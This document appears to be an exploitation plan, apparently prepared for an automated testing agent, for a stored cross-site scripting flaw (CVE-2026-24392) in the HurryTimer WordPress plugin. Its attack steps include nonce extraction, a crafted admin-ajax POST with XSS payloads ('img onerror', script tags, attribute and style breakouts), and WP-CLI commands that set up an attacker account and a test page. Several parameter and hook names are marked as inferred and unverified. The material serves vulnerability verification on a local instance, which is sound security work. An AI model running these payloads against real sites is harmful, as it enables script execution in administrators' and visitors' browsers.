HurryTimer – An Scarcity and Urgency Countdown Timer for WordPress & WooCommerce <= 2.14.2 - Authenticated (Author+) Stored Cross-Site Scripting

This research plan outlines the steps to verify and exploit CVE-2026-24392, a Stored Cross-Site Scripting vulnerability in the HurryTimer plugin.

1. Vulnerability Summary

• Vulnerability: Stored Cross-Site Scripting (XSS)
• Location: HurryTimer Campaign settings (specifically fields like labels, messages, or custom CSS classes).
• Cause: The plugin fails to sanitize user-supplied input when saving campaign settings and fails to escape the data when rendering the timer on the frontend or in the admin dashboard.
• Privilege Required: Author or higher.
• Impact: Execution of arbitrary JavaScript in the context of any user (including administrators) viewing a page where the malicious timer is embedded.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php or wp-admin/admin-ajax.php.
• Target Hook: Typically wp_ajax_ht_save_campaign or the standard save_post hook for the hurrytimer custom post type.
• Vulnerable Parameter: Likely a sub-field within the campaign's configuration (e.g., headline, label, or cta_text).
• Preconditions:
  1. The attacker must have an account with the Author role.
  2. The HurryTimer plugin (<= 2.14.2) must be active.

3. Code Flow (Inferred)

1. Input: An Author user submits a "HurryTimer" campaign via the admin UI.
2. Processing: The plugin receives the request. In includes/admin/class-campaign-post-type.php (inferred) or a dedicated AJAX handler, the plugin saves the settings using update_post_meta().
3. Lack of Sanitization: The data is saved directly without being passed through sanitize_text_field() or wp_kses().
4. Output: When a post containing the [hurrytimer id="XX"] shortcode is viewed, the plugin calls a rendering function (e.g., HT_Campaign::render() in includes/class-campaign.php).
5. Lack of Escaping: The raw metadata is echoed into the HTML (e.g., echo $settings['headline'];) without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

HurryTimer uses a modern UI that typically localizes a nonce for AJAX operations.

1. Identify Trigger: The plugin's scripts are loaded when editing a hurrytimer post type.
2. Create Setup Page:

   # Create a dummy timer to ensure the UI and scripts load
   wp post create --post_type=hurrytimer --post_status=publish --post_title="Exploit Probe"
   

3. Navigate and Extract:
   • Navigate to the edit page of the newly created post (e.g., /wp-admin/post.php?post=ID&action=edit).
   • Use browser_eval to extract the nonce from the localized script object. HurryTimer typically uses hurrytimer_admin or hurrytimer_config.
   • Inferred JS Variable: window.hurrytimer_admin?.nonce or window.hurrytimer_config?.save_nonce.

5. Exploitation Strategy

We will attempt to inject the payload through the campaign's "Headline" or "Label" fields.

Step 1: Obtain Nonce and Post ID
Log in as an Author, navigate to the HurryTimer edit screen, and extract the necessary identifiers.

Step 2: Submit Malicious Campaign Update
Submit an HTTP POST request to admin-ajax.php (if AJAX-based) or post.php (if standard form-based).

• Endpoint: /wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters (Inferred):
  • action: ht_save_campaign (verify via grep)
  • id: [CAMPAIGN_ID]
  • settings: A JSON-encoded string or array containing:
    • headline: <img src=x onerror=alert(document.domain)>
    • label: "> <script>alert(1)</script>
  • _wpnonce: [EXTRACTED_NONCE]

Step 3: Trigger the XSS
Embed the timer in a public post and view it.

• Shortcode: [hurrytimer id="[CAMPAIGN_ID]"]

6. Test Data Setup

1. User: Create an Author user.

   wp user create attacker attacker@example.com --role=author --user_pass=password123
   

2. Campaign: Create a target HurryTimer post.

   wp post create --post_type=hurrytimer --post_title="Vulnerable Timer" --post_status=publish --post_author=$(wp user get attacker --field=ID)
   

3. Frontend Page: Create a page to display the timer.

   wp post create --post_type=page --post_title="Timer View" --post_content='[hurrytimer id="REPLACE_WITH_ID"]' --post_status=publish
   

7. Expected Results

• The update_post_meta call succeeds.
• Upon visiting the "Timer View" page, a JavaScript alert box appears, demonstrating code execution.
• In the HTML source, the payload appears unescaped: <div class="ht-headline"><img src=x onerror=alert(document.domain)></div>.

8. Verification Steps

1. Database Check: Use WP-CLI to verify the payload is stored exactly as sent.

   wp post meta get [CAMPAIGN_ID] _hurrytimer_settings
   

2. Response Check: Use http_request to fetch the frontend page and check for the raw payload.

   # Look for the unescaped script tags
   http_request get "http://localhost:8080/timer-view/" | grep "onerror=alert"
   

9. Alternative Approaches

• Blind XSS: If the payload doesn't fire on the frontend, check the Admin Campaign List (/wp-admin/edit.php?post_type=hurrytimer). The plugin might display the headline in the list table without escaping.
• Attribute Injection: If tags are stripped but quotes are not escaped, try breaking out of an attribute: test" onmouseover="alert(1)" style="display:block;width:1000px;height:1000px".
• Custom CSS Path: Check if the plugin allows "Custom CSS". Inject: </style><script>alert(1)</script>.